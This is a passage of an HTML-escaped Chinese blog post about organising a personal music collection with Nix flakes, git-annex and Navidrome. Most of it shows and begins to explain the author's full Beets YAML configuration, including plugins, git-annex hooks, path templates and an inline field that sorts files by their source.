class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上，以配合&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;串流……&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Screenshot_20231215_194641.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Screenshot_20231215_194641.2cab2a07f66e3ecc.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Screenshot_20231215_194641.66f503e9c411b7b7.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Screenshot_20231215_194641.aac7b300ccffdf89.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Screenshot_20231215_194641.66f503e9c411b7b7.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;1538&quot;
	width=&quot;2690&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;另外，我使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nix
flakes&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;direnv&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来管理整理音乐需要的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets、Whipper、yt-dlp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等软件。这样的好处是可以把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;flake.nix&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;flake.lock&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也纳入版本控制之中，让整个音乐收藏从软件到数据全都可以回溯。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;甜菜（Beets）：配置文件超进化&quot;&gt;&lt;ruby&gt;甜菜&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Beets&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;：配置文件超进化&lt;&#x2F;h3&gt;
&lt;p&gt;这篇文章最开始的内容其实就是这一段：介绍下我的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配置文件。一方面，似乎大家更喜欢使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Picard，所以我帮&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;宣传一下；另一方面，我也想记录一下为什么我的配置这么写——然后就写了前面那么多铺垫。&lt;&#x2F;p&gt;
&lt;details&gt;
&lt;summary&gt;
&lt;p&gt;点我看整个文件（下面会按功能分解讲解&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;summary&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;directory&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; ~&#x2F;Music&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;library&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; ~&#x2F;Music&#x2F;beets.sqlite3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;plugins&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; fromfilename&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; fetchart&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; lastgenre&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; edit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; missing&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; filetote&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; zero&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; yearfixer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; summarize&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; the&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; inline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; hook&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; rewrite&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; info&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  timid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; yes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  move&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; yes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  duplicate_action&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; remove&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;musicbrainz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  extra_tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;year&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; media&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; country&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; label&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  genres&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; yes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  max_rec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    year&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; strong&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  preferred&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    countries&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;GB&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;XE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    media&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Digital Media&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;CD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    ignored_media&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Vinyl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;12&amp;quot; Vinyl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;hook&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  hooks&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; event&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; import_begin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;      command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; git annex unlock beets.sqlite3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; event&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; cli_exit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;      command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; git annex add beets.sqlite3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;rewrite&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  artist Sunset Rollercoaster&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 落日飞车&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  artist The Who &amp;amp; Isobel Griffiths Orchestra&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; The Who&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  artist 牛尾憲輔&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 牛尾宪辅&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;fetchart&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  source&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; filesystem&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;per_disc_numbering&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; yes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;album_fields&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  multidisc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; disctotal &amp;gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;item_fields&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  file_src&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;    path_str = path.decode().lower()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;    for source in [&amp;quot;deemix&amp;quot;, &amp;quot;rip&amp;quot;, &amp;quot;bandcamp&amp;quot;, &amp;quot;yt&amp;quot;, &amp;quot;nyaa&amp;quot;]:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;        if source in path_str:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;            return source&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;    return &amp;quot;other&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;paths&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; $file_src&#x2F;%the{$albumartist}&#x2F;%the{$album}%aunique{}&#x2F;%if{$multidisc,$disc-}$track $title&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  comp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; $file_src&#x2F;Various Artists&#x2F;%the{$album}%aunique{}&#x2F;%if{$multidisc,$disc-}$track $title&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;lastgenre&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  force&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; no&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;filetote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  extensions&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; .toc .cue .m3u .log&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  pairing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    extensions&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; .lrc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  print_ignored&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;zero&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  fields&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;    # Remove the acoustid metadata&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; acoustid_fingerprint&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; acoustid_id&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  update_database&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;details&gt;
&lt;p&gt;Zola&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YAML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;高亮好像有些问题，请大家多担待。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;设置目录&quot;&gt;设置目录&lt;&#x2F;h4&gt;
&lt;p&gt;为了方便使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;管理，我把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的数据库也放到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;~&#x2F;Music&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里了。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;directory&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; ~&#x2F;Music&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
